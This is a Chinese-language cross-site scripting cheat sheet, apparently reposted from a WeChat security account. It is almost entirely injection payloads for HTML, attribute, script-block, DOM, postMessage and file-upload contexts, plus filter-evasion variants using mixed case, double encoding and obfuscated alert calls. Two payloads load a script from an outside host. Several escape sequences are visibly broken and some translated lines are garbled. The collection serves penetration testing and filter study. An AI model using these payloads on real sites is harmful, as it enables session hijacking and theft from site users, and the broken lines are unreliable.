HTML 上下文——简单的标签注入
当输入位于 HTML 标记或外部标记的属性值内时使用。
<svg onload=alert(1)>
"><svg onload=alert(1)>
HTML 上下文——在块标记注入中
当输入位于以下标签的打开/关闭之内或之间时使用:
<title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> is
accordingly).
</tag><svg onload=alert(1)>
“></tag><svg onload=alert(1)>
HTML 上下文——源代码注入
当输入作为以下 HTML 标记属性的值时使用:href、src、data
或 action(也称为 formaction)。对于脚本标签中的 src,使用外部脚本调用 (URL) 或
“data:,alert(1)”。下面的第二个有效负载警报超出了 Webkit 浏览器的目标上下文。
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
Javascript 上下文——逻辑块中的代码注入
当输入落在脚本块中、字符串分隔
值内和单个逻辑块内(如函数或条件(if、else 等))时,使用第一个或第二个有效负载。如果
引号用反斜杠转义,请使用第三个有效负载。
‘}alert(1);{‘
‘}alert(1)%0A{‘
’}alert(1);{//
Javascript 上下文——标签注入
当输入位于脚本块中的任何位置时使用。
</script><svg onload=alert(1)
反射型
用于利用同一页面上的多次反射。
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
用于利用同一页面上的多次反射。
*/alert(1)”>’onload=”/*<svg/1=’
`-alert(1)”>’onload=”`<svg/1=’
*/</script>’>alert(1)/*<script/1=’
用于利用同一页面上的多个输入反射。
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
文件上传注入——元数据
当上传文件的元数据反映在目标页面的某处时使用。它使用
命令行 exiftool 并且可以设置任何元数据字段。
brute@logic:~$ exiftool -Artist='”><svg onload=alert(1)>' xss.jpeg
文件上传注入——SVG文件
用于在上传图像文件时在目标上创建存储的 XSS。将下面的内容保存
为“xss.svg”。
<svg xmlns=”http://www.w3.org/2000/svg” onload=”alert(1)”/>
DOM 插入注入
当注入作为有效标记插入 DOM 而不是
反映在源代码中时,用于测试 XSS。它适用于脚本标签和其他向量
不起作用的情况。
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
当页面的 javascript 代码向页面中插入对
攻击者控制的 URL 的请求结果(注入)时使用。
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
脚本注入
反射后代码中某处有结束脚本标记 (</script>) 时使用。
<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
Javascript postMessage() DOM 注入(使用 Iframe)
当 javascript 代码中的“window.addEventListener('message', ...)”中存在“消息”事件侦听器时使用,
无需检查来源。目标必须能够被框起来(根据上下文的 X-Frame 选项标头)。另存为 HTML 文件(或使用 data:text/html),提供 TARGET_URL 和INJECTION(XSS 向量或有效负载)。
<iframe src=TARGET_URL onload=”frames[0].postMessage(‘INJECTION’,’*’)”>
混合大小写 XSS
用于绕过区分大小写的过滤器。
<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>
未封闭的标签
在 HTML 注入中使用以避免基于低于 (<)
和大于 (>) 符号的过滤。
在输入反射后,它需要本机大于登录源代码。
<svg onload=alert(1)//
<svg onload=”alert(1)”
大写 XSS
当应用程序以大写形式反映输入时使用。
<SVG ONLOAD=alert(1)>
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>
双编码 XSS
当应用程序对输入执行双重解码时使用。
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
不带括号的警报(仅限字符串)
当不允许使用括号并且
一个简单的警告框就足够时,在 HTML 矢量或 javascript 注入中使用。
警报alert(1)没有字母字符的警报在不允许使用字母字符时使用。以下是警报alert(1)
[]['146151154164145162']['143157156163164162165143164157162']
('141154 145162164506151')()
警报混淆
用于欺骗几个正则表达式 (regex) 过滤器。它可能与
以前的替代方案结合使用(上图)。根据上下文,最短选项“top”也可以替换为“window”、“parent”、“self”或“this”。
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
top[‘al145rt’](1)
top[8680439..toString(30)](1)
原文始发于微信公众号(Khan安全攻防实验室):Xss 备忘单
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论